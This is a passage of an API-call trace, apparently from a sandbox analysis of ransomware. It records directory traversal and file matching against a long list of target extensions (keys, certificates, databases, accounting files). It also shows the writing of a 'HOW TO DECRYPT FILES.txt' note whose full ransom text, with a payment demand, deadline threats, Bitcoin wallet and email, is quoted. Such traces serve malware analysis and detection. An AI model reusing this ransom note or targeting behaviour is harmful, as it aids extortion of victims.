(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.java") returned 0 [0112.527] lstrlenA (lpString="*.java") returned 6 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.asm") returned 0 [0112.527] lstrlenA (lpString="*.asm") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.pfx") returned 0 [0112.527] lstrlenA (lpString="*.pfx") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.pem") returned 0 [0112.527] lstrlenA (lpString="*.pem") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.p12") returned 0 [0112.527] lstrlenA (lpString="*.p12") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.gpg") returned 0 [0112.527] lstrlenA (lpString="*.gpg") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.vsd") returned 0 [0112.527] lstrlenA (lpString="*.vsd") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.odg") returned 0 [0112.527] lstrlenA (lpString="*.odg") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.raw") returned 0 [0112.527] lstrlenA (lpString="*.raw") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.nef") returned 0 [0112.527] lstrlenA (lpString="*.nef") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.svg") returned 0 [0112.528] lstrlenA (lpString="*.svg") returned 5 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.psd") returned 0 [0112.528] lstrlenA (lpString="*.psd") returned 5 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.vmx") returned 0 [0112.528] lstrlenA (lpString="*.vmx") returned 5 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.vmdk") returned 0 [0112.528] lstrlenA (lpString="*.vmdk") returned 6 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.vdi") returned 0 [0112.528] lstrlenA (lpString="*.vdi") returned 5 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.lay6") returned 0 [0112.528] lstrlenA (lpString="*.lay6") returned 6 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mpeg") returned 0 [0112.528] lstrlenA (lpString="*.mpeg") returned 6 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.djvu") returned 0 [0112.528] lstrlenA (lpString="*.djvu") returned 6 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.tiff") returned 0 [0112.528] lstrlenA (lpString="*.tiff") returned 6 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.backup") returned 0 [0112.528] lstrlenA (lpString="*.backup") returned 8 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.pdf") returned 0 [0112.528] lstrlenA (lpString="*.pdf") returned 5 [0112.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.cert") returned 0 [0112.528] lstrlenA (lpString="*.cert") returned 6 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.docm") returned 0 [0112.529] lstrlenA (lpString="*.docm") returned 6 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.xlsm") returned 0 [0112.529] lstrlenA (lpString="*.xlsm") returned 6 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.dwg") returned 0 [0112.529] lstrlenA (lpString="*.dwg") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.nd") returned 0 [0112.529] lstrlenA (lpString="*.nd") returned 4 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.tlg") returned 0 [0112.529] lstrlenA (lpString="*.tlg") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.lgb") returned 0 [0112.529] lstrlenA (lpString="*.lgb") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mov") returned 0 [0112.529] lstrlenA (lpString="*.mov") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.xdw") returned 0 [0112.529] lstrlenA (lpString="*.xdw") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.ods") returned 0 [0112.529] lstrlenA (lpString="*.ods") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.wav") returned 0 [0112.529] lstrlenA (lpString="*.wav") returned 5 [0112.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mp3") returned 0 [0112.529] lstrlenA (lpString="*.mp3") returned 5 [0112.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.aiff") returned 0 [0112.530] lstrlenA (lpString="*.aiff") returned 6 [0112.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.flac") returned 0 [0112.530] lstrlenA (lpString="*.flac") returned 6 [0112.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.m4a") returned 0 [0112.530] lstrlenA (lpString="*.m4a") returned 5 [0112.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.csv") returned 0 [0112.530] lstrlenA (lpString="*.csv") returned 5 [0112.530] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf019055, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf019055, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf03f1b5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x16fe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.OracleClient.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.530] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.530] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="89eae0aa2c0c6d4678ccffdc84fcc410", cAlternateFileName="89EAE0~1")) returned 0 [0112.530] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.530] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Service#", cAlternateFileName="SYE4D8~1.SER")) returned 1 [0112.530] lstrcmpA (lpString1=".", lpString2="System.Data.Service#") returned -1 [0112.530] lstrcmpA (lpString1="..", lpString2="System.Data.Service#") returned -1 [0112.530] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.531] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.Service#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#" [0112.531] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#") returned 67 [0112.531] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.531] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.531] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.531] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.531] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.531] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e96112d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1e96bc85441d7719ea6f7e63c4c3e287", cAlternateFileName="1E96BC~1")) returned 1 [0112.531] lstrcmpA (lpString1=".", lpString2="1e96bc85441d7719ea6f7e63c4c3e287") returned -1 [0112.531] lstrcmpA (lpString1="..", lpString2="1e96bc85441d7719ea6f7e63c4c3e287") returned -1 [0112.531] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\*.*") returned="*.*" [0112.531] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\", lpString2="1e96bc85441d7719ea6f7e63c4c3e287" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287" [0112.532] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287") returned 100 [0112.532] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e96112d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.532] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.532] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e96112d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e96112d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e96112d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.532] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.532] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.532] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8eed0c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e8eed0c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e8eed0c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x99c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.532] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.533] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0112.533] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0112.533] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0112.533] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\*.*") returned="*.*" [0112.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\" [0112.533] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\") returned="" [0112.533] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\HOW TO DECRYPT FILES.txt" [0112.533] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.service#\\1e96bc85441d7719ea6f7e63c4c3e287\\how to decrypt files.txt")) returned 0xffffffff [0112.533] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.service#\\1e96bc85441d7719ea6f7e63c4c3e287\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.534] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.534] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.541] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.541] CloseHandle (hObject=0x90) returned 1 [0112.541] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\", lpString2="System.Data.Services.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll" [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.541] lstrlenA (lpString="*.ems") returned 5 [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.db") returned 0 [0112.541] lstrlenA (lpString="*.db") returned 4 [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.dbf") returned 0 [0112.541] lstrlenA (lpString="*.dbf") returned 5 [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.myox") returned 0 [0112.541] lstrlenA (lpString="*.myox") returned 6 [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.myo") returned 0 [0112.541] lstrlenA (lpString="*.myo") returned 5 [0112.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbw") returned 0 [0112.541] lstrlenA (lpString="*.qbw") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbb") returned 0 [0112.542] lstrlenA (lpString="*.qbb") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbm") returned 0 [0112.542] lstrlenA (lpString="*.qbm") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbo") returned 0 [0112.542] lstrlenA (lpString="*.qbo") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbx") returned 0 [0112.542] lstrlenA (lpString="*.qbx") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qba") returned 0 [0112.542] lstrlenA (lpString="*.qba") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qby") returned 0 [0112.542] lstrlenA (lpString="*.qby") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qbj") returned 0 [0112.542] lstrlenA (lpString="*.qbj") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.ofx") returned 0 [0112.542] lstrlenA (lpString="*.ofx") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.qif") returned 0 [0112.542] lstrlenA (lpString="*.qif") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mye") returned 0 [0112.542] lstrlenA (lpString="*.mye") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mbox") returned 0 [0112.542] lstrlenA (lpString="*.mbox") returned 6 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.542] lstrlenA (lpString="*.eml") returned 5 [0112.542] PathMatchSpecA 